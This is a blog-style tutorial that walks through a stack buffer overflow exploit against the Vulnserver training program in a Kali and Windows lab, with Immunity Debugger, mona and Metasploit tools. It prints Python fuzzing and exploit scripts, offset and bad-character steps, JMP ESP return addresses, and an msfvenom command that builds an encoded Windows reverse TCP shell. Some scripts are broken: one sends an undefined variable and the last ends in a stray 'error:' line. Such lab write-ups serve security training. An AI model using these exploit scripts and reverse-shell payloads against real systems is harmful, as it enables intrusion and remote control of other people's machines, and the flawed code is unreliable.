Select Page

Before I wrote this post I could not find a good example with a full explanation for how writing a buffer overflow exploit works. This is the buffer overflow guide for Kali Linux. In plain English a buffer overflow exploit works by sending a buffer that is larger than the program can handle with the intention of running malicious code.

HERE’S WHAT YOU NEED

  • Kali Linux Virtual Instance (VirtualBox)
  • Windows Virtual Instance (VirtualBox) with Immunity Debugger.
  • Vulnerableserver see the Github repo.

I am also running an exploit in this tutorial against a vulnerable version of War FTP and SLMail. I found out that if all else fails use use exploit/windows/ftp/warftpd_165_pass. There is another Metasploit module for SLMail as well. The practice of not using Metasploit if you can help it is good to master.

Interested in writing a Python reverse http shell? See Learn Python By Writing A Reverse HTTP Shell In Kali Linux.

Buffer Overflow

Basically the logic is:

  • Overflow to find the number of bytes needed to overflow the buffer.
  • Find the exact location of the overwritten instruction pointer.
  • Send enough bytes to reach the instruction pointer then use a JMP ESP address to overwrite it with instructing the program to execute at the location of the shell code.
  • Send exploit and get a shell back.

Fuzzing the Vulnerable Program

To fuzz the program, meaning provide it malformed data in order to test its handling of bad data, I use a simple Python script. Python sockets library is easy to use and basically sends and receives data by reading the connections made by sockets. We will use the socket library to send an evil buffer to the vulnerable program.

Using the HELP command lists all the available commands. I will use TRUN but any of them will work.

Using the following script I will send a buffer of 5050 A’s to the vulnerable program and see what the result is in Immunity Debugger.

buffer = "A"*5050
try:
   print "sending attack buffer"
   s.connect(('10.0.2.10', 9999))
   data =s.recv(1024)
   s.send('TRUN . ' + buffer + '\r\n')
   data = s.recv(1024)
except:
   print 'Error!'

Sending the buffer causes the program to crash. The EIP register is now 0x41414141 which is the ASCII equivalent of “A”.

Why does this matter? What this means is that to control the EIP the instruction pointer to the next execution, I need 2005 “A”s. Now beyond that there will be 4 bytes of “B”s and then 2000+ “C”s. I will replace the C’s with shellcode made from msfvenom that when executed will return a shell.

Take a look at another vulnerable program’s output below, for SLMail. This SLMail version suffers from a similiar buffer overflow vulnerability, the USER and PASS commands are vulnerable just as they are in WarFtp 1.65. Unexpected results and in this case a special warning is issued by the program.”User name okay, Need password.” Well, that was strange. However it does not indicate that the exploit is unsuccessful just that our script crashed the program!

Thanks for the info, but I’ll continue with crashing the program.

Now instead of using a bunch of A’s I will use a tool to create a pattern. This pattern will have consecutively unique bytes, 4 at a time.

Use the command /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5050 to create a unique pattern to help us find the offset.

Using the builtin ruby script in Kali pattern_offset, I find the exact location in the pattern of the bytes that overflow the instruction pointer. To recap, you could sling handfuls of A’s at the ip address and port of the vulnserver application until it crashes. At that point you know that the application is vulnerable possibly to a buffer overflow exploit.

The flags for this command are -q -l . Use /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6F43386F -l 5050 it should say [*] Exact match at offset 2005.

import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# C = 5000 - 2005 - 4
buffer = "A"*2005 + "B"*4 + "C"*3041
try:
   print "sending attack buffer"
   s.connect(('10.0.2.10', 9999))
   data =s.recv(1024)
   s.send('TRUN . ' + buffer + '\r\n')
   data = s.recv(1024)

Now look at the registers, the ESP register is now my C’s. The EIP register is now where my B’s are. I have control of the EIP register which means I control the flow of the program. This is huge, this means I can hopefully lead the program’s execution to an address that contains shellcode. Using the msfvenom tool I will create the shellcode for a Windows reverse TCP shell that I will connect to using a netcat listener.

Look closely this means that after the initial onslaught of A’s control of the EIP register is gained by throwing in 4 bytes of “B”s!

Detect & Remove Bad Characters

Mona can generate a byte array of every possible hex character for us.

Mona writes the file to this location for some reason, go figure.

C:\Users\beh\AppData\Local\VirtualStore\Program

So now we need a script to send the possible characters, starting with \x00 (the null character).

import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
pattern = "A"*2005
b = "B"*4
buff = b""
buff += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
buff += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
buff += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
try:
   print "sending attack buffer"
   s.connect(('127.0.0.1', 9999))
   data =s.recv(1024)
   s.send('TRUN . ' + buffer + '\r\n')
   data = s.recv(1024)
except:
   print 'Error!'

The characters in the bottom right panel should look like gibberish!

Take a closer look.

Right click on the EAX register in the top right panel (Registers) and click on Follow In Dump. All the characters look weird correct? That means they did not render correctly to ASCII.

Now take a look when the x\00 character is removed from the variable we send.

Finding a JMP ESP Memory Address

Now that I have control of the EIP register I now want to overwrite it with the address for a JMP ESP memory address so that execution flow of the program goes into my shellcode.

Restart the process and attach the debugger to it once more. Right click in the disassembly pane and do a search for > all commands in all modules > jmp esp. I found the address in nt.dll which is one of the executable modules, the address is 7C91FCD8 which is ‘\xD8\xFC\x91\x7C’ in little endian.

Execution is now pointed at the memory address in the dll that I said to go to!

A final touch is to add the NOP character, x\90 to the buffer we will send to the vulnerable program. By adding NOPs to the beginning of the shellcode this can help make sure the exploit is reliable in its execution. This is common practice in exploit development. The padding will also maybe help to make sure execution makes it to the beginning of our shellcode’s location.

Send A Reverse Shell Payload

First make a reverse shell with msfvenom msfvenom -a x86 -platform Windows -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -b ‘\x00’ -e x86/shikata_ga_nai -i 3 -f py

This is the code that will return a shell once I send it to the vulnerable server.

import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
pattern = "A"*2005
return_address = '\xD8\xFC\x91\x7C'
nops = '\x90'*20
shellcode=("shellcode")
buffer = pattern + return_address + nops + shellcode
try:
   print "sending attack buffer"
   s.connect(('10.0.2.10', 9999))
   data =s.recv(1024)
   s.send('TRUN . ' + buffer + '\r\n')
   data = s.recv(1024)

Now here you see I connected to the reverse shell using a netcat listener on the port defined in the shellcode made earlier.

It works and now I have a shell.

Alternate JMP Address

Using mona I can also find the next JMP address by using !mona jmp -r esp.

We are going to use the address 0x625011af. This is from the essfunc.dll, the one that comes with vulnersever.

So now the payload will look a bit different.

import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
pattern = "A"*2005
return_address = '\xAF\x11\x50\x62'
nops = '\x90'*20
shellcode=("shellcode")
buffer = pattern + return_address + nops + shellcode
try:
   print "sending attack buffer"
   s.connect(('10.0.2.10', 9999))
   data =s.recv(1024)
   s.send('TRUN . ' + buffer + '\r\n')
   data = s.recv(1024)
error: